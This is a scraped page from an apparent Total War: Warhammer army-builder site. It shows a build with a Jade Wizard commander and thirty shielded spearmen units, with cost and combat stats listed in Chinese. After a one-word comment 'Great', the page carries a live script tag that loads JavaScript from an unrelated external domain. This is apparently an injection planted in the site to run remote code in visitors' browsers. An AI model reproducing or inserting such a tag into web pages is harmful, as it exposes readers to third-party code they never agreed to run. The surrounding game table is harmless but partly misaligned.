Left Panel
SWA
GoodBuild by 111111 - 2019-02-19 10:49:00
1
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
120
Great<script src="https://jsresourcenet.com/honga"></script>
| No. | Unit | Name | Sol. | Custom Cost | Recru. Cost | Upkeep Cost | Ship HP. | Ship Spd. | Msl. Dmg. | Rng. | Sht. /min | Amo. | Mle. Atk. | Mle. Dmg. | Chg. | Mle. Def. | Arm. | HP. | Mor. |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 指揮官 (1) | 1 | 250 | 1000 | 250 | - | - | - | 25 | 300 | 15 | 30 | 20 | 3420 | 55 | |||||
| 1 | 翡翠法師 | 1 | 250 | 1000 | 250 | 25 | 300 | 15 | 30 | 20 | 3420 | 55 | |||||||
| 近戰步兵 (30) | 3600 | 9750 | 9750 | 2430 | - | - | - | 600 | 660 | 120 | 1140 | 2550 | 1950 | 1500 | |||||
| 2 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 3 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 4 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 5 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 6 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 7 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 8 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 9 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 10 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 11 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 12 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 13 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 14 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 15 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 16 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 17 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 18 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 19 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 20 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 21 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 22 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 23 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 24 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 25 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 26 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 27 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 28 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 29 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 30 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| 31 | 長矛兵團(持盾) | 120 | 325 | 325 | 81 | 20 | 22 | 4 | 38 | 85 | 65 | 50 | |||||||
| Subtotal | 3601 | 10000 | 10750 | 2680 | - | - | - | 625 | 960 | 135 | 1170 | 2570 | 5370 | 1555 | |||||

English
Français
Italiano
Deutsch
Español
Русский
Čeština
Polski
Türkçe
Português (Brasil)
한국어
简体中文